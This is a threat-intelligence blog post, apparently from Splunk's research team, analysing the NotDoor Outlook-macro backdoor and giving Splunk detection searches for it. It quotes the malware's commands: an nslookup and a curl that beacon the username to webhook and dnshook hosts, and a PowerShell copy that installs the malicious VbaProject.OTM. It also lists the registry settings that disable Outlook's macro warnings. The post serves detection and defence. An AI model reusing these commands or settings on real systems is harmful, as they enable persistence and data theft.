NotDoor Insights: A Closer Look at Outlook Macros and More

Threat actors have used malicious Outlook macros for years for backdoor persistence or lateral movement. Because of the nature of macros being in a native file used by Outlook, these types of attacks can be fairly unnoticed. NotDoor was a backdoor first discovered by Lab52, the threat intelligence arm of Spanish cybersecurity firm S2 Grupo. They tied it to recent APT28 (Fancy Bear) campaigns. This new backdoor is Outlook Macros to monitor incoming emails for specific triggers, and when the system receives such an email, it executes code paths found in the VBA macro. This allows an attacker to exfiltrate data, upload files, and execute commands on the victim’s computer while using an inconspicuous application as the C2.

In this blog, the Splunk Threat Research Team analyzes this malware to show how these techniques involving macros can be detected. This analysis provides valuable insights for enhancing Splunk detections and expanding security coverage, empowering organizations to better identify and mitigate threats associated with this type of attack.

Tactics and Techniques

In this malware, the files are staged in C:\ProgramData by the actor after gaining access to the system through other means. The files consist of four parts: A legitimate OneDrive.exe executable, the malicious SSPICLI.dll which is sideloaded by OneDrive, tmp7E9C.dll a renamed copy of the original sspicli.dll that is used by the malicious dll, and testtemp.ini which is the VBA Macro backdoor.

OneDrive Sideloading (T1574.001)

On Windows systems, Dynamic Link Library (DLL) files are binary components that provide shared code for applications. Threat actors often exploit these files through a technique called DLL hijacking, which takes advantage of how Windows applications locate and load DLLs.

One of the more prevalent forms of DLL hijacking is DLL sideloading. In this method, an attacker places a malicious DLL that is named identically to a legitimate one into the same directory as the application. As a result, when the program runs, it checks the current directory and loads the attacker’s DLL instead of a legitimate DLL, allowing the malicious code to execute. In this case the legitimate OneDrive.exe executable is vulnerable to loading SSPICLI.dll.
 
The malicious DLL also references a tmp7EC9.dll in most of its exports. This is a renamed working SSPICLI.dll so that OneDrive doesn’t crash or throw errors when it’s started.

^{Figure 1: DLL Exports}

This does mean the unusual DLL is loaded by Outlook as well which can be an additional indicator that something suspicious is happening.

^{Figure 2: DLL Load by Onedrive}

Upon execution, the macro will create a directory at %TEMP%\Test. This folder serves as a repository for various artifacts generated during the malware’s operation.

Encoded Powershell (T1027.010)

Once loaded, the DLL executes a few commands on the system. Several of them are base64 encoded Powershell commands. OneDrive.exe spawning Powershell is fairly suspicious on its own, but taking a look at the commands being executed gives a better understanding of what is going on.

^{Figure 3: Powershell Execution by Onedrive}

A couple of them are various network checks. These likely send the username to the webhook dns hooking service as a check that the code executed correctly.

^{Figure 4: Encoded nslookup}

nslookup "$env:USERNAME.910cf351-a05d-4f67-ab8e-6f62cfa8e26d.dnshook.site"

^{Figure 5: Encoded curl}

cmd /c curl "http://webhook.site/910cf351-a05d-4f67-ab8e-6f62cfa8e26d?$env:USERNAME"

The important one is the command to copy testtemp.ini to a specific directory in AppData.

^{Figure 6: Encoded File Copy}

$a=$env:APPDATA;copy c:\programdata\testtemp.ini "$a\Microsoft\Outlook\VbaProject.OTM"

We can see in Procmon that the file is created in the users Roaming directory with a very specific name (VBAProject.OTM).

^{Figure 7: File Copy to Roaming Directory}

Outlook Macro (T1137.005)

%APPDATA%\Microsoft\Outlook\VbaProject.otm is the file where Microsoft Outlook stores VBA macros that you create inside Outlook. Unlike Word or Excel, Outlook consolidates all macros into this single file. This contains your custom VBA scripts created in Outlook, such as automation tasks, custom email handling, or event-driven code. If the file exists, Outlook can load the macros at startup, which can be a security issue if the file is created by a malicious actor from outside of the program. This is exactly what the NotDoor malware was doing with the encoded Powershell command to copy the testtemp.ini file to the VBAProject.OTM file. Monitoring for file creation events of this file path from processes other than Outlook.exe is important for detecting rogue Outlook macros.
 
This particular malicious macro acts as a C2 channel. The malware uses several Outlook functions (Application_MAPILogonComplete and Application_NewMailEx) to run code on Outlook startup or when new emails arrive. It is obfuscated with randomized variable and function names, and it uses a custom string encoding method for several of its actions.
 
In addition to monitoring incoming emails for command and control triggers, the macro can send outgoing emails with exfiltrated data.

Modify Registry (T1112)

The DLL does a few other things after all the powershell commands to allow the malicious macro to function properly. Primarily it modifies several registry entries. One of these is the LoadMacroProviderOnBoot key. By default, Outlook supports running VBA macros stored in the VbaProject.otm file we mentioned. This registry value acts as a switch for automatic loading of these macros on startup.

^{Figure 8: LoadMacroProviderOnBoot Registry Changes}

We can see again in Procmon that the staged OneDrive executable is modifying this registry key under HKCU.

^{Figure 9: Registry Changes in Procmon}

The next registry entry that is modified is the Outlook Security Level. This also is part of Outlook’s macro controls. The following are the possible values for this key
 
4 = Disable all macros
3 = Notification for digitally signed macros
2 = Notifications for all macros
1 = Enable all Macros

^{Figure 10: Outlook Security Registry Changes}

In this case we can see that the value is being set to 1 so that all macros are enabled and no notifications are given when macros execute.

The final Outlook registry value that is modified is for modifying which dialogs are displayed. The PONT_STRING registry key in Outlook stores a comma-separated list of dialog box identifiers that have been suppressed by the user selecting the "Don't show this message again" option. This functionality allows Outlook to remember user preferences and prevent the display of certain prompts in the future. By modifying this value the attackers are disabling certain popups that might cause their actions to be noticed.

^{Figure 11: PONT_STRING Registry Changes}

Below is a list of common dialog values and their associated prompts:

The value that NotDoor is creating specifically blocks content download warnings. This enables it to function without notifying the user about malicious content.

Detecting NotDoor and Similar Malware

Analytic Story from the Splunk Threat Research Team

To help security teams defend against these disruptive campaigns, we've developed comprehensive detection content for Splunk. Our approach focuses on identifying the distinctive patterns and behaviors associated with Outlook macro malware such as NotDoor. We’ve developed an analytic story to assist organizations in quickly deploying this content. Here are just a few of the detections focused on the malicious TTPs we’ve mentioned.

Malicious PowerShell

Malicious PowerShell Process - Encoded Command

A common obfuscation activity actors will take is using encoded Powershell commands on the system to hide the true activity from prying eyes. If confirmed malicious, this behavior could allow attackers to execute hidden code, potentially leading to unauthorized access, privilege escalation, or persistent threats within the environment. Review parallel events to determine legitimacy and tune based on known administrative scripts.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime
  from datamodel=Endpoint.Processes
  where `process_powershell`
  by Processes.action Processes.dest Processes.original_file_name 
Processes.parent_process Processes.parent_process_exec Processes.parent_process_guid 
Processes.parent_process_id Processes.parent_process_name
Processes.parent_process_path Processes.processProcesses.process_exec Processes.process_guid Processes.process_hash
Processes.process_id Processes.process_integrity_level Processes.process_name 
Processes.process_path Processes.user Processes.user_id Processes.vendor_product
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| where match(process,"(?i)[\-|\/|–|—|―][Ee^]{1,2}[NnCcOoDdEeMmAa^]+\s+[\"]?[A-Za-z0-9+/=]{5,}[\"]?")

^{Figure 12: Malicious Powershell}

Outlook Registry Activity

Monitoring the Outlook registry keys that are responsible for macro security can help find these types of malware. Outlook macros have direct access to the emails and can be used to exfiltrate data or even used as command and control. These do leverage the Registry datamodel within Splunk.

Windows Outlook LoadMacroProviderOnBoot Persistence

The following analytic detects the modification of the Windows Registry key "LoadMacroProviderOnBoot" under Outlook. This enables automatic loading of macros, which could allow malicious scripts to run without notice.

| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry
  WHERE Registry.registry_path="*\\Outlook\\*" 
Registry.registry_value_name="LoadMacroProviderOnBoot"
  Registry.registry_value_data="0x00000001" by Registry.action
  Registry.dest Registry.process_guid Registry.process_id Registry.registry_hive Registry.registry_path
  Registry.registry_key_name Registry.registry_value_data Registry.registry_value_name
  Registry.registry_value_type Registry.status Registry.user Registry.vendor_product
  | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`

^{Figure 13: LoadMacroProviderOnBoot Persistence}

Windows Outlook Macro Security Modified

This detects the modification of the Windows Registry key "Level" under Outlook Security. This can allow all macros to execute without warning, which could lead to malicious scripts to run without notice. 

| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry
  WHERE Registry.registry_path="*\\Outlook\\Security*"
Registry.registry_value_name="Level"
  Registry.registry_value_data="0x00000001" by Registry.action
  Registry.dest Registry.process_guid Registry.process_id Registry.registry_hive
Registry.registry_path  
Registry.registry_key_name Registry.registry_value_data Registry.registry_value_name
  Registry.registry_value_type Registry.status Registry.user Registry.vendor_product
  | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` |
`security_content_ctime(lastTime)`

^{Figure 14: Outlook Macro Security Modification}

Windows Outlook Dialogs Disabled from Unusual Process

The modification of the Windows Registry key "PONT_STRING" under Outlook Options by an unusual process. This disables certain dialog popups within Outlook. This can prevent certain activities from gaining the attention of the Outlook user.

| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry
  WHERE Registry.registry_path="*\\Outlook\\Options\\General*"
 Registry.registry_value_name="PONT_STRING"
  by Registry.action Registry.dest Registry.process_guid Registry.process_id
 Registry.registry_hive
  Registry.registry_path Registry.registry_key_name Registry.registry_value_data
  Registry.registry_value_name Registry.registry_value_type Registry.status
 Registry.user
  Registry.vendor_product | `drop_dm_object_name(Registry)`| join process_guid [| 
tstats
  `security_content_summariesonly` count FROM datamodel=Endpoint.Processes WHERE NOT
  (Processes.process_name = "Outlook.exe") by _time span=1h
  Processes.action Processes.dest Processes.original_file_name
  Processes.parent_process Processes.parent_process_exec Processes.parent_process_guid
  Processes.parent_process_id Processes.parent_process_name
 Processes.parent_process_path
Processes.process Processes.process_exec Processes.process_guid
 Processes.process_hash
  Processes.process_id Processes.process_integrity_level Processes.process_name 
Processes.process_path
  Processes.user Processes.user_id Processes.vendor_product |
 `drop_dm_object_name(Processes)`]
  | fields _time parent_process_name parent_process process_name process_path process
  process_guid registry_path registry_value_name registry_value_data registry_key_name
  action dest user | `security_content_ctime(firstTime)` |
 `security_content_ctime(lastTime)`

^{Figure 15: Outlook Dialogs Disabled}

Outlook Macro File Creation Events

Windows Outlook Macro Created by Suspicious Process

The VbaProject.OTM file is a special file used by Microsoft Outlook to store VBA macros. It is created automatically when a user first makes a macro in Outlook, and from that point forward, it serves as the persistent container for all Outlook-specific macro code. Under normal conditions, this file is only generated and modified by Outlook.exe itself during legitimate macro activity. If the file is created or modified by any other process, it may indicate suspicious or malicious behavior.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
  as lastTime values(Filesystem.file_create_time) as file_create_time from 
datamodel=Endpoint.Filesystem
  where Filesystem.file_path="*Appdata\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM"
  by Filesystem.action Filesystem.dest Filesystem.file_access_time
  Filesystem.file_create_time Filesystem.file_hash Filesystem.file_modify_time
 Filesystem.file_name
  Filesystem.file_path Filesystem.file_acl Filesystem.file_size
 Filesystem.process_guid
  Filesystem.process_id Filesystem.user Filesystem.vendor_product | 
`drop_dm_object_name(Filesystem)`
  | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`

^{Figure 16: Outlook Macro File Creation}

IOCs

File Indicators

Learn More

This blog helps security analysts, blue teamers, and Splunk customers identify NotDoor, and similar malware, by enabling the community to discover related TTPs used by threat actors and adversaries. You can implement the detections in this blog using the Enterprise Security Content Updates app or the Splunk Security Essentials app. To view the Splunk Threat Research Team's complete security content repository, visit research.splunk.com.

Feedback

Any feedback or requests? Feel free to put in an issue on GitHub and we'll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions if you need an invitation to our Splunk user groups on Slack.

Contributors

We would like to thank Raven Tait for authoring this post, as well as the Splunk Threat Research Team (Lou Stella, Bhavin Patel, Rod Soto, Eric McGinnis, Michael Haag, Nasreddine Bencherchali, Teoderick Contreras, and Patrick Bareiss) for their contributions to the detection content and analysis.